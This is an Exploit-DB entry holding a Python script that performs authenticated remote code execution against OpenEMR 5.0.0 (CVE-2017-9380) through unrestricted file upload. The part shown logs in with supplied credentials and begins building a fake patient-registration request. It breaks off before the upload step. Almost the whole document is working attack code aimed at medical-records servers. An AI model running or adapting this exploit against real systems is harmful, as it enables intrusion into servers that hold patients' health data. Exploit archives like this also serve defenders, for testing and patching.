Exploit-DB #49983
Description: OpenEMR 5.0.0 - Remote Code Execution (Authenticated)
Type: webapps
Platform: php
Date: 2021-06-11
Author: Ron Jost

Exploit:
# Exploit Title: OpenEMR 5.0.0 - Remote Code Execution (Authenticated)
# Date 10.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/5.0.0/openemr-5.0.0.zip/download
# Version: 5.0.0
# Tested on: Windows 10
# CVE: CVE-2017-9380
# Documentation: https://github.com/Hacker5preme/Exploits#cve-2017-9380-exploit

'''
Description:
The OpenEMR application allows users from all roles to upload files. However, the application does not whitelist only
certain type of files (e.g. PDF, JPG, PNG, DOCX, etc). At the contary, any type of files can be uploaded to the
filesystem via the application. While OpenEMR recommends during the installation to restrict access to the repository
hosting uploaded files, unfortunately, such recommendations are too often ignored by users and can result in full
compromise of the web server and its data.
'''


'''
Import required modules:
'''
import argparse
import requests
import string
import random


'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Exploit for CVE-2017-9380')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
openemr_path = args.PATH
username = args.USERNAME
password = args.PASSWORD


'''
Exploit:
'''
# Authentication preparation:
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/main/main_screen.php?auth=login&site=default'
auth_chek_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/login/login.php?site=default'
response = session.get(auth_chek_url)

# Header (auth):
header = {
    'Host': target_ip,
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://' + target_ip,
    'Connection': 'close',
    'Referer': auth_chek_url,
    'Upgrade-Insecure-Requests': '1',
}

# Body (auth):
body = {
    'new_login_session_management': '1',
    'authProvider': 'Default',
    'authUser': username,
    'clearPass': password,
    'languageChoice': '1'
}

# Authenticate:
print('')
print('[+] Authentication')
auth = session.post(auth_url,headers=header, data=body)

# Create random patient name:
letters_up = string.ascii_uppercase
letters_down = string.ascii_lowercase
first_name = ''.join(random.choice(letters_up)) + ''.join(random.choice(letters_down) for i in range(10))
surname = ''.join(random.choice(letters_up)) + ''.join(random.choice(letters_down) for i in range(7))
print('')
print('[+] Creating patient name randomly:')
print('    [*] First Name: ' + first_name)
print('    [*] Surname: ' + surname)

# Registration preparation:
url_reg = 'http://' + target_ip + ':' + target_port + openemr_path + 'interface/new/new_comprehensive_save.php'

# Header (registration):
header = {
    'Host': target_ip,
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://' + target_ip,
    'Connection': 'close',
    'Referer': 'http://' + target_ip + ':' + target_port + openemr_path + 'interface/new/new.php',
    'Upgrade-Insecure-Requests': '1'
}
body = {
    'form_cb_1': '1',
    'form_title': 'Mr.',
    'form_fname': first_name,
    'form_mname': '',
    'form_lname': surname,
    'form_pubpid': '',
    'form_DOB': '2021-05-04',
    'form_sex': 'Male',
    'form_ss': '',
    'form_drivers_license': '',
    'form_status': '',
    'form_genericname1': '',
    'form_genericval1': '',
    'form_genericname2': '',
    'form_genericval2': '',
    'form_billing_note': '',
    'form_street': '',
    'form_city': '',
    'form_state': '',
    'form_postal_code': '',
    'form_county': '',
    'form_country_code': '',
    'form_mothersname': '',
    'form_contact_relationship': '',
    'form_phone_contact': '',
    'form_phone_home': '',
    'form_phone_biz': '',
    'form_phone_cell': '',
    'form_email': '',
    'form_email_direct': '',
    'form_providerID': '',
    'form_ref_providerID': '',
    'form_pharmacy_id': '0',
    'form_hipaa_notice': '',
    'form_hipaa_voice': '',
    'form_hipaa_message': '',
    'form_hipaa_mail': '',
    'form_hipaa_allowsms': '',
    'form_hipaa_allowemail': '',
    'form_allow_imm_reg_use': '',
    'form_allow_imm_info_share': '',
    'form_allow_health_info_ex': '',
    'form_allow_patient_portal': '',
    'form_care_team': '',
    'form_cmsportal_login': '',
    'form_imm_reg_status': '',
    'form_imm_reg_stat_effdate': '',
    'form_publicity_code': '',
    'form_publ_code_eff_date': '',
    'form_protect_indicator': '',
    'form_prot_indi_effdate': '',
    'form_industry': '',
    'form_occupation': '',
    'form_em_name': '',
    'form_em_street': '',
    'form_em_city': '',
    'form_em_state': '',
    'form_em_postal_code': '',
    'form_em_country': '',
    'form_language': '',
    'form_ethnicity': '',
    'form_family_size': '',
    'form_financial_review': '',
    'form_monthly_income': '',
    'form_homeless': '',
    'form_interpretter': '',
    'form_migrantseasonal': '',